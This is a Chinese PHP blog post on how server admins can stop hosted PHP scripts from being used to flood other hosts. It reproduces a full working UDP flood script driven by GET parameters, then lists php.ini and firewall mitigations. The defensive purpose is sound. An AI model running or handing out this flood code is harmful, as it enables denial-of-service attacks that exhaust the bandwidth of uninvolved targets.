防止用户利用PHP代码DOS造成用光网络带宽


Posted in PHP onMarch 01, 2011

用PHP代码调用sockets,直接用服务器的网络攻击别的IP,常见代码如下:

$packets = 0; 
$ip = $_GET[\'ip\']; 
$rand = $_GET[\'port\']; 
set_time_limit(0); 
ignore_user_abort(FALSE); 
$exec_time = $_GET[\'time\']; 
$time = time(); 
print \"Flooded: $ip on port $rand 
\"; 
$max_time = $time+$exec_time; 
for($i=0;$i<65535;$i++){ 
$out .= \"X\"; 
} 
while(1){ 
$packets++; 
if(time() > $max_time){ 
break; 
} 
$fp = fsockopen(\"udp://$ip\", $rand, $errno, $errstr, 5); 
if($fp){ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
echo \"Packet complete at \".time(\'h:i:s\').\" with $packets (\" . round(($packets*65)/1024, 2) . \" mB) packets averaging \". round($packets/$exec_time, 2) . \" packets/s \\n\"; 
?>

表现特征:
一打开IIS,服务器的流出带宽就用光-----就是说服务器不断向别人发包,这个情况和受到DDOS攻击是不同的,DDOS是不断收到大量数据包.
解决办法:
禁止上述的代码:
在c:\windows\php.ini里设置:
disable_functions =gzinflate;
在c:\windows\php.ini里设其值为Off
allow_url_fopen = Off
并且:
;extension=php_sockets.dll
前面的;号一定要有,意思就是限制用sockets.dll
前面的;号要保留
然后重启IIS
如果上述方式仍然无效,你可以在IIS中,允许的扩展中,禁止PHP的扩展测试.
另外,对于没加密的php攻击代码,还可以用以下办法处理:
1.在IP策略,或防火墙中,禁止所有udp向外发送
2.用一流信息监控,在SQL拦截及网址拦截中,拦截port=这个关键词
PHP 相关文章推荐
常用的PHP数据库操作方法(MYSQL版)
Jun 08 PHP
解析PHP中的正则表达式以及模式匹配
Jun 19 PHP
PHP高手需要要掌握的知识点
Aug 21 PHP
laravel安装zend opcache加速器教程
Mar 02 PHP
PHP实现的购物车类实例
Jun 17 PHP
php实现的任意进制互转类分享
Jul 07 PHP
使用php-timeit估计php函数的执行时间
Sep 06 PHP
PHP基于反射机制实现插件的可插拔设计详解
Nov 10 PHP
PHP生成随机数的方法总结
Mar 01 PHP
Laravel框架实现利用中间件进行操作日志记录功能
Jun 06 PHP
浅谈Laravel核心解读之Console内核
Dec 02 PHP
laravel admin实现分类树/模型树的示例代码
Jun 10 PHP
php Smarty 字符比较代码
Feb 27 #PHP
php下批量挂马和批量清马代码
Feb 27 #PHP
php SQL Injection with MySQL
Feb 27 #PHP
PHP的SQL注入实现(测试代码安全不错)
Feb 27 #PHP
php通用防注入程序 推荐
Feb 26 #PHP
8个出色的WordPress SEO插件收集
Feb 26 #PHP
zend framework多模块多布局配置
Feb 26 #PHP
You might like
学习discuz php 引入文件的方法DISCUZ_ROOT
2009/06/21 PHP
PHP分页函数代码(简单实用型)
2010/12/02 PHP
PHP中对用户身份认证实现两种方法
2011/06/04 PHP
基于PHP生成静态页的实现方法
2013/05/10 PHP
smarty模板中使用get、post、request、cookies、session变量的方法
2014/04/24 PHP
利用PHPExcel读取Excel的数据和导出数据到Excel
2017/05/12 PHP
phpcms配置列表页以及获得文章发布时间
2017/07/04 PHP
微信企业号开发之微信考勤百度地图定位
2015/09/11 Javascript
通过npm引用的vue组件使用详解
2017/03/02 Javascript
ES6中Array.find()和findIndex()函数的用法详解
2017/09/16 Javascript
JavaScript实现省市联动过程中bug的解决方法
2017/12/04 Javascript
Node.js使用Koa搭建 基础项目
2018/01/08 Javascript
Vue实现的父组件向子组件传值功能示例
2019/01/19 Javascript
ES6中Set和Map数据结构,Map与其它数据结构互相转换操作实例详解
2019/02/28 Javascript
Vue登录主页动态背景短视频制作
2019/09/21 Javascript
vue+springboot图片上传和显示的示例代码
2020/02/14 Javascript
JavaScript实现随机点名程序
2020/03/25 Javascript
使用Python来开发Markdown脚本扩展的实例分享
2016/03/04 Python
Python实现树的先序、中序、后序排序算法示例
2017/06/23 Python
python thrift搭建服务端和客户端测试程序
2018/01/17 Python
python机器学习理论与实战(一)K近邻法
2021/01/28 Python
pandas 取出表中一列数据所有的值并转换为array类型的方法
2018/04/11 Python
Python从入门到精通之环境搭建教程图解
2019/09/26 Python
Python 字节流,字符串,十六进制相互转换实例(binascii,bytes)
2020/05/11 Python
Python unittest基本使用方法代码实例
2020/06/29 Python
俄罗斯在线服装店:STOLNIK
2021/03/07 全球购物
暑假实习求职信范文
2013/09/22 职场文书
酒店总经理欢迎词
2014/01/08 职场文书
小学生自我评价100字(15篇)
2014/09/18 职场文书
民事诉讼代理授权委托书
2014/10/11 职场文书
学习雷锋精神活动总结
2015/02/06 职场文书
学生乘坐校车安全责任书
2015/05/11 职场文书
小学教师教学反思
2016/02/24 职场文书
导游词之开封禹王台风景区
2019/12/02 职场文书
css3中transform属性实现的4种功能
2021/08/07 HTML / CSS
Oracle删除归档日志及添加定时任务
2022/06/28 Oracle